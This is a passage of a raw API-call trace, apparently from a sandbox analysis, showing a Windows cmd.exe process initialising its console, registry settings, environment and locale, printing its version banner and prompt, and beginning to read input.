lpAddress=0xa12bbd0000, lpBuffer=0xa12bbcf770, dwLength=0x30 | out: lpBuffer=0xa12bbcf770*(BaseAddress=0xa12bbd0000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffffe681, RegionSize=0x30000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0178.345] GetConsoleOutputCP () returned 0x1b5 [0179.088] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff65ec4fbb0 | out: lpCPInfo=0x7ff65ec4fbb0) returned 1 [0179.088] SetConsoleCtrlHandler (HandlerRoutine=0x7ff65ec38150, Add=1) returned 1 [0179.088] _get_osfhandle (_FileHandle=1) returned 0x254 [0179.088] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff65ec4fc04 | out: lpMode=0x7ff65ec4fc04) returned 0 [0179.088] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.088] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff65ec4fc00 | out: lpMode=0x7ff65ec4fc00) returned 0 [0179.088] _get_osfhandle (_FileHandle=1) returned 0x254 [0179.088] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0179.088] _get_osfhandle (_FileHandle=1) returned 0x254 [0179.088] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff65ec4fc08 | out: lpMode=0x7ff65ec4fc08) returned 0 [0179.088] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.088] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff65ec4fc0c | out: lpMode=0x7ff65ec4fc0c) returned 0 [0179.088] GetEnvironmentStringsW () returned 0x265f3885a40* [0179.089] GetProcessHeap () returned 0x265f3880000 [0179.089] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0xab6) returned 0x265f3886500 [0179.089] FreeEnvironmentStringsA (penv="=") returned 1 [0179.089] GetProcessHeap () returned 0x265f3880000 [0179.089] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x8) returned 0x265f3885a40 [0179.089] GetEnvironmentStringsW () returned 0x265f3886fd0* [0179.089] GetProcessHeap () returned 0x265f3880000 [0179.089] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0xab6) returned 0x265f3887a90 [0179.089] FreeEnvironmentStringsA (penv="=") returned 1 [0179.089] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xa12bbce6b8 | out: phkResult=0xa12bbce6b8*=0x7c) returned 0x0 [0179.090] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xa12bbce6b0, lpData=0xa12bbce6d0, lpcbData=0xa12bbce6b4*=0x1000 | out: lpType=0xa12bbce6b0*=0x0, lpData=0xa12bbce6d0*=0x4, lpcbData=0xa12bbce6b4*=0x1000) returned 0x2 [0179.090] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xa12bbce6b0, lpData=0xa12bbce6d0, lpcbData=0xa12bbce6b4*=0x1000 | out: lpType=0xa12bbce6b0*=0x4, lpData=0xa12bbce6d0*=0x1, lpcbData=0xa12bbce6b4*=0x4) returned 0x0 [0179.090] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xa12bbce6b0, lpData=0xa12bbce6d0, lpcbData=0xa12bbce6b4*=0x1000 | out: lpType=0xa12bbce6b0*=0x0, lpData=0xa12bbce6d0*=0x1, lpcbData=0xa12bbce6b4*=0x1000) returned 0x2 [0179.090] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xa12bbce6b0, lpData=0xa12bbce6d0, lpcbData=0xa12bbce6b4*=0x1000 | out: lpType=0xa12bbce6b0*=0x4, lpData=0xa12bbce6d0*=0x0, lpcbData=0xa12bbce6b4*=0x4) returned 0x0 [0179.090] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xa12bbce6b0, lpData=0xa12bbce6d0, lpcbData=0xa12bbce6b4*=0x1000 | out: lpType=0xa12bbce6b0*=0x4, lpData=0xa12bbce6d0*=0x40, lpcbData=0xa12bbce6b4*=0x4) returned 0x0 [0179.090] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xa12bbce6b0, lpData=0xa12bbce6d0, lpcbData=0xa12bbce6b4*=0x1000 | out: lpType=0xa12bbce6b0*=0x4, lpData=0xa12bbce6d0*=0x40, lpcbData=0xa12bbce6b4*=0x4) returned 0x0 [0179.090] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xa12bbce6b0, lpData=0xa12bbce6d0, lpcbData=0xa12bbce6b4*=0x1000 | out: lpType=0xa12bbce6b0*=0x0, lpData=0xa12bbce6d0*=0x40, lpcbData=0xa12bbce6b4*=0x1000) returned 0x2 [0179.090] RegCloseKey (hKey=0x7c) returned 0x0 [0179.090] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xa12bbce6b8 | out: phkResult=0xa12bbce6b8*=0x7c) returned 0x0 [0179.090] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xa12bbce6b0, lpData=0xa12bbce6d0, lpcbData=0xa12bbce6b4*=0x1000 | out: lpType=0xa12bbce6b0*=0x0, lpData=0xa12bbce6d0*=0x40, lpcbData=0xa12bbce6b4*=0x1000) returned 0x2 [0179.090] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xa12bbce6b0, lpData=0xa12bbce6d0, lpcbData=0xa12bbce6b4*=0x1000 | out: lpType=0xa12bbce6b0*=0x4, lpData=0xa12bbce6d0*=0x1, lpcbData=0xa12bbce6b4*=0x4) returned 0x0 [0179.090] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xa12bbce6b0, lpData=0xa12bbce6d0, lpcbData=0xa12bbce6b4*=0x1000 | out: lpType=0xa12bbce6b0*=0x0, lpData=0xa12bbce6d0*=0x1, lpcbData=0xa12bbce6b4*=0x1000) returned 0x2 [0179.090] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xa12bbce6b0, lpData=0xa12bbce6d0, lpcbData=0xa12bbce6b4*=0x1000 | out: lpType=0xa12bbce6b0*=0x4, lpData=0xa12bbce6d0*=0x0, lpcbData=0xa12bbce6b4*=0x4) returned 0x0 [0179.090] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xa12bbce6b0, lpData=0xa12bbce6d0, lpcbData=0xa12bbce6b4*=0x1000 | out: lpType=0xa12bbce6b0*=0x4, lpData=0xa12bbce6d0*=0x9, lpcbData=0xa12bbce6b4*=0x4) returned 0x0 [0179.090] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xa12bbce6b0, lpData=0xa12bbce6d0, lpcbData=0xa12bbce6b4*=0x1000 | out: lpType=0xa12bbce6b0*=0x4, lpData=0xa12bbce6d0*=0x9, lpcbData=0xa12bbce6b4*=0x4) returned 0x0 [0179.090] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xa12bbce6b0, lpData=0xa12bbce6d0, lpcbData=0xa12bbce6b4*=0x1000 | out: lpType=0xa12bbce6b0*=0x0, lpData=0xa12bbce6d0*=0x9, lpcbData=0xa12bbce6b4*=0x1000) returned 0x2 [0179.090] RegCloseKey (hKey=0x7c) returned 0x0 [0179.090] time (in: timer=0x0 | out: timer=0x0) returned 0x5dca2b76 [0179.090] srand (_Seed=0x5dca2b76) [0179.090] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0179.090] malloc (_Size=0x4000) returned 0x265f3be5530 [0179.091] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0179.091] malloc (_Size=0xffce) returned 0x265f3a50080 [0179.091] ??_V@YAXPEAX@Z () returned 0x265f3a50080 [0179.092] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x265f3a50080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0179.092] malloc (_Size=0xffce) returned 0x265f3a60060 [0179.092] ??_V@YAXPEAX@Z () returned 0x265f3a60060 [0179.093] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x265f3a60060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0179.093] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff65ec4bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0179.093] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff65ec4bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0179.093] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff65ec4bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0179.093] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0179.093] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0179.093] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0179.093] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0179.093] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0179.094] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0179.094] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0179.094] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0179.094] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0179.094] GetProcessHeap () returned 0x265f3880000 [0179.094] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f3886500) returned 1 [0179.094] GetEnvironmentStringsW () returned 0x265f3885a60* [0179.094] GetProcessHeap () returned 0x265f3880000 [0179.094] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0xace) returned 0x265f3886540 [0179.094] FreeEnvironmentStringsA (penv="=") returned 1 [0179.094] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff65ec4bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0179.094] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff65ec4bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0179.094] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0179.094] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0179.094] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0179.094] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0179.094] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0179.094] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0179.094] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0179.094] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0179.094] malloc (_Size=0xffce) returned 0x265f3a70040 [0179.095] ??_V@YAXPEAX@Z () returned 0x265f3a70040 [0179.095] GetProcessHeap () returned 0x265f3880000 [0179.095] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x38) returned 0x265f3888580 [0179.095] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x265f3a70040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0179.095] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x265f3a70040, lpFilePart=0xa12bbcf230 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xa12bbcf230*="system32") returned 0x13 [0179.096] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0179.096] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0xa12bbcef60 | out: lpFindFileData=0xa12bbcef60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x265f38885c0 [0179.096] FindClose (in: hFindFile=0x265f38885c0 | out: hFindFile=0x265f38885c0) returned 1 [0179.096] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0xa12bbcef60 | out: lpFindFileData=0xa12bbcef60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xbfe3aa0c, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xbfe3aa0c, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x265f38885c0 [0179.097] FindClose (in: hFindFile=0x265f38885c0 | out: hFindFile=0x265f38885c0) returned 1 [0179.097] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0179.097] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0179.097] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0179.097] GetProcessHeap () returned 0x265f3880000 [0179.097] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f3886540) returned 1 [0179.097] GetEnvironmentStringsW () returned 0x265f3885a60* [0179.097] GetProcessHeap () returned 0x265f3880000 [0179.097] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0xafe) returned 0x265f3886570 [0179.097] FreeEnvironmentStringsA (penv="=") returned 1 [0179.097] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x265f3a50080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0179.097] GetProcessHeap () returned 0x265f3880000 [0179.097] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f3888580) returned 1 [0179.097] ??_V@YAXPEAX@Z () returned 0x1 [0179.097] ??_V@YAXPEAX@Z () returned 0x1 [0179.097] GetProcessHeap () returned 0x265f3880000 [0179.097] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x4016) returned 0x265f3888580 [0179.098] GetProcessHeap () returned 0x265f3880000 [0179.098] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f3888580) returned 1 [0179.098] GetConsoleOutputCP () returned 0x1b5 [0179.646] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff65ec4fbb0 | out: lpCPInfo=0x7ff65ec4fbb0) returned 1 [0179.646] GetUserDefaultLCID () returned 0x409 [0179.647] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff65ec4bb78, cchData=8 | out: lpLCData=":") returned 2 [0179.647] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xa12bbcf5f0, cchData=128 | out: lpLCData="0") returned 2 [0179.647] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xa12bbcf5f0, cchData=128 | out: lpLCData="0") returned 2 [0179.647] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xa12bbcf5f0, cchData=128 | out: lpLCData="1") returned 2 [0179.647] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff65ec4bb68, cchData=8 | out: lpLCData="/") returned 2 [0179.647] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff65ec4bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0179.647] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff65ec4bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0179.647] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff65ec4ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0179.647] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff65ec4ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0179.647] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff65ec4ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0179.647] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff65ec4b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0179.647] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff65ec4b980, cchData=32 | out: lpLCData="Sun") returned 4 [0179.647] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff65ec4bb58, cchData=8 | out: lpLCData=".") returned 2 [0179.647] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff65ec4bb40, cchData=8 | out: lpLCData=",") returned 2 [0179.647] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0179.649] GetProcessHeap () returned 0x265f3880000 [0179.649] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x0, Size=0x20c) returned 0x265f38870f0 [0179.649] GetConsoleTitleW (in: lpConsoleTitle=0x265f38870f0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0179.950] _get_osfhandle (_FileHandle=1) returned 0x254 [0179.950] GetFileType (hFile=0x254) returned 0x3 [0179.951] ApiSetQueryApiSetPresence () returned 0x0 [0179.951] ResolveDelayLoadedAPI () returned 0x7ffdba74d990 [0179.961] BrandingFormatString () returned 0x265f38862f0 [0179.970] GetVersion () returned 0x3ad7000a [0179.970] _vsnwprintf (in: _Buffer=0xa12bbcf750, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0xa12bbcf6e8 | out: _Buffer="10.0.15063") returned 10 [0179.971] _get_osfhandle (_FileHandle=1) returned 0x254 [0179.971] GetFileType (hFile=0x254) returned 0x3 [0179.971] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff65ec57f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0179.971] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff65ec57f60, nSize=0x2000, Arguments=0xa12bbcf6f0 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0179.971] _get_osfhandle (_FileHandle=1) returned 0x254 [0179.971] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0179.971] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65ec49970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0xa12bbcf648, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesWritten=0xa12bbcf648*=0x26, lpOverlapped=0x0) returned 1 [0179.972] _vsnwprintf (in: _Buffer=0x7ff65ec57f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xa12bbcf718 | out: _Buffer="\r\n") returned 2 [0179.972] _get_osfhandle (_FileHandle=1) returned 0x254 [0179.972] GetFileType (hFile=0x254) returned 0x3 [0179.972] _get_osfhandle (_FileHandle=1) returned 0x254 [0179.972] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0179.972] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65ec49970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xa12bbcf6e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesWritten=0xa12bbcf6e8*=0x2, lpOverlapped=0x0) returned 1 [0179.972] _vsnwprintf (in: _Buffer=0x7ff65ec57f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0xa12bbcf718 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0179.972] _get_osfhandle (_FileHandle=1) returned 0x254 [0179.972] GetFileType (hFile=0x254) returned 0x3 [0179.972] _get_osfhandle (_FileHandle=1) returned 0x254 [0179.972] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0179.972] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65ec49970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xa12bbcf6e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesWritten=0xa12bbcf6e8*=0x34, lpOverlapped=0x0) returned 1 [0179.972] _vsnwprintf (in: _Buffer=0x7ff65ec57f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xa12bbcf718 | out: _Buffer="\r\n") returned 2 [0179.972] _get_osfhandle (_FileHandle=1) returned 0x254 [0179.972] GetFileType (hFile=0x254) returned 0x3 [0179.972] _get_osfhandle (_FileHandle=1) returned 0x254 [0179.972] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0179.972] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65ec49970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xa12bbcf6e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesWritten=0xa12bbcf6e8*=0x2, lpOverlapped=0x0) returned 1 [0179.972] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffdbfd20000 [0179.973] GetProcAddress (hModule=0x7ffdbfd20000, lpProcName="CopyFileExW") returned 0x7ffdbfd3e830 [0179.973] GetProcAddress (hModule=0x7ffdbfd20000, lpProcName="IsDebuggerPresent") returned 0x7ffdbfd3e300 [0179.973] GetProcAddress (hModule=0x7ffdbfd20000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffdbd070a40 [0179.973] ??_V@YAXPEAX@Z () returned 0x1 [0179.973] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.973] GetFileType (hFile=0x248) returned 0x3 [0179.973] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0179.973] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0xa12bbcf558 | out: TokenHandle=0xa12bbcf558*=0x0) returned 0xc000007c [0179.973] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xa12bbcf558 | out: TokenHandle=0xa12bbcf558*=0x94) returned 0x0 [0179.973] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0xa12bbcf508, TokenInformationLength=0x4, ReturnLength=0xa12bbcf510 | out: TokenInformation=0xa12bbcf508, ReturnLength=0xa12bbcf510) returned 0x0 [0179.974] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0xa12bbcf510, TokenInformationLength=0x4, ReturnLength=0xa12bbcf508 | out: TokenInformation=0xa12bbcf510, ReturnLength=0xa12bbcf508) returned 0x0 [0179.974] NtClose (Handle=0x94) returned 0x0 [0179.976] _vsnwprintf (in: _Buffer=0x7ff65ec57f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xa12bbcf398 | out: _Buffer="\r\n") returned 2 [0179.976] _get_osfhandle (_FileHandle=1) returned 0x254 [0179.976] GetFileType (hFile=0x254) returned 0x3 [0179.976] _get_osfhandle (_FileHandle=1) returned 0x254 [0179.976] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0179.976] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65ec49970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xa12bbcf368, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesWritten=0xa12bbcf368*=0x2, lpOverlapped=0x0) returned 1 [0179.976] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff65ec4bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0179.976] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x265f3a50080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0179.976] malloc (_Size=0x107ce) returned 0x265f3a60060 [0179.976] _vsnwprintf (in: _Buffer=0x265f3a60060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xa12bbcf3a8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0179.976] _vsnwprintf (in: _Buffer=0x265f3a60086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xa12bbcf3a8 | out: _Buffer=">") returned 1 [0179.976] _get_osfhandle (_FileHandle=1) returned 0x254 [0179.976] GetFileType (hFile=0x254) returned 0x3 [0179.976] _get_osfhandle (_FileHandle=1) returned 0x254 [0179.977] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0179.977] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65ec49970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xa12bbcf398, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesWritten=0xa12bbcf398*=0x14, lpOverlapped=0x0) returned 1 [0179.977] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.977] GetFileType (hFile=0x248) returned 0x3 [0179.977] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.977] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.977] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0179.977] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0179.977] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.977] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.977] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0179.977] MultiByteToWideChar (in: CodePage=0x1b5, 